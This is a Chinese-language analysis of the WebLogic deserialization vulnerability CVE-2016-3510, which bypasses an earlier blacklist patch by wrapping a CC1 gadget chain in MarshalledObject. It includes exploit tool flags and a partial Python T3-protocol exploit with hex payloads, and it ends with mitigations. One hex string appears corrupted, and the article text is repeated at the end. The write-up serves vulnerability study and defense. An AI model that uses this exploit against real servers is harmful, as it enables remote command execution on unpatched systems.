CVE-2016-3510:Weblogic反序列化分析
字数 1350 2025-08-19 12:41:18

WebLogic反序列化漏洞CVE-2016-3510分析与利用

漏洞概述

CVE-2016-3510是Oracle WebLogic Server中的一个反序列化漏洞,它是对CVE-2015-4852漏洞修复的绕过。攻击者可以通过该漏洞实现远程命令执行。

影响版本

  • Oracle WebLogic Server 12.2.1.0
  • Oracle WebLogic Server 12.1.3.0
  • Oracle WebLogic Server 12.1.2.0
  • Oracle WebLogic Server 10.3.6.0

漏洞背景

CVE-2015-4852补丁回顾

Oracle对CVE-2015-4852的修复采用了黑名单机制,主要作用在以下三个位置:

  1. weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
  2. weblogic.rjvm.MsgAbbrevInputStream.class
  3. weblogic.iiop.Utils.class

黑名单检查位于com.bea.core.weblogic.rmi.client_1.11.0.0.jar!/weblogic/rjvm/InboundMsgAbbrev.class中,通过BLACK_LIST.contains(className)进行类名安全检查。

漏洞原理

该漏洞利用了一种巧妙的绕过黑名单的方式:

  1. 将反序列化的对象封装进weblogic.corba.utils.MarshalledObject
  2. MarshalledObject进行序列化,生成payload字节码
  3. 反序列化时MarshalledObject不在WebLogic黑名单中,可以正常反序列化
  4. MarshalledObject对象在调用readObject时对其封装的序列化对象再次反序列化,从而逃过黑名单检查

漏洞分析

攻击流程

  1. 构造CC1链的payload
  2. 将payload封装进MarshalledObject对象
  3. 序列化MarshalledObject对象
  4. 通过T3协议发送序列化数据

关键代码分析

  1. Payload构造
// 构造CC1链的payload
Object payload = CC1链构造的恶意对象;

// 将payload封装进MarshalledObject
MarshalledObject marshalledObject = new MarshalledObject(payload);

// 序列化MarshalledObject
byte[] serializedData = Serializables.serialize(marshalledObject);
  1. MarshalledObject封装
    MarshalledObject类在反序列化时会自动对其封装的序列化对象进行反序列化,这一特性被用来绕过黑名单检查。

漏洞利用

利用工具

使用weblogic_cmd工具进行漏洞利用。

利用步骤

  1. 配置攻击参数:
-H "目标IP" -C "要执行的命令" -B -os win
  1. 设置payload类型为"marshall"
  2. 执行攻击

Python EXP关键部分

# T3协议握手
def t3handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)

# 构建T3请求对象
def buildT3RequestObject(dip, sock):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706l56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    # ... 其他数据部分
    for d in [data1, data2, data3, data4]:
        sock.send(d.decode('hex'))
        time.sleep(2)

# 发送恶意对象数据
def sendEvilObjData(sock, data):
    payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload += data
    payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s' % ('{:08x}'.format(len(payload)/2 + 4), payload)
    sock.send(payload.decode('hex'))

防御措施

  1. 及时安装Oracle官方发布的安全补丁
  2. 限制WebLogic Server的T3协议访问,只允许可信IP访问
  3. 升级到不受影响的WebLogic版本
  4. 使用网络防火墙规则限制对WebLogic端口的访问

总结

CVE-2016-3510展示了黑名单修复方式的局限性,通过封装序列化对象的方式可以绕过类名检查。这种思路不仅适用于WebLogic,对于其他采用黑名单机制防御反序列化漏洞的系统也有参考价值。防御此类漏洞最有效的方式是采用白名单机制或彻底禁用不安全的反序列化功能。

WebLogic反序列化漏洞CVE-2016-3510分析与利用 漏洞概述 CVE-2016-3510是Oracle WebLogic Server中的一个反序列化漏洞,它是对CVE-2015-4852漏洞修复的绕过。攻击者可以通过该漏洞实现远程命令执行。 影响版本 Oracle WebLogic Server 12.2.1.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.1.2.0 Oracle WebLogic Server 10.3.6.0 漏洞背景 CVE-2015-4852补丁回顾 Oracle对CVE-2015-4852的修复采用了黑名单机制,主要作用在以下三个位置: weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class 黑名单检查位于 com.bea.core.weblogic.rmi.client_1.11.0.0.jar!/weblogic/rjvm/InboundMsgAbbrev.class 中,通过 BLACK_LIST.contains(className) 进行类名安全检查。 漏洞原理 该漏洞利用了一种巧妙的绕过黑名单的方式: 将反序列化的对象封装进 weblogic.corba.utils.MarshalledObject 对 MarshalledObject 进行序列化,生成payload字节码 反序列化时 MarshalledObject 不在WebLogic黑名单中,可以正常反序列化 MarshalledObject 对象在调用 readObject 时对其封装的序列化对象再次反序列化,从而逃过黑名单检查 漏洞分析 攻击流程 构造CC1链的payload 将payload封装进 MarshalledObject 对象 序列化 MarshalledObject 对象 通过T3协议发送序列化数据 关键代码分析 Payload构造 : MarshalledObject封装 : MarshalledObject 类在反序列化时会自动对其封装的序列化对象进行反序列化,这一特性被用来绕过黑名单检查。 漏洞利用 利用工具 使用 weblogic_ cmd 工具进行漏洞利用。 利用步骤 配置攻击参数: 设置payload类型为"marshall" 执行攻击 Python EXP关键部分 防御措施 及时安装Oracle官方发布的安全补丁 限制WebLogic Server的T3协议访问,只允许可信IP访问 升级到不受影响的WebLogic版本 使用网络防火墙规则限制对WebLogic端口的访问 总结 CVE-2016-3510展示了黑名单修复方式的局限性,通过封装序列化对象的方式可以绕过类名检查。这种思路不仅适用于WebLogic,对于其他采用黑名单机制防御反序列化漏洞的系统也有参考价值。防御此类漏洞最有效的方式是采用白名单机制或彻底禁用不安全的反序列化功能。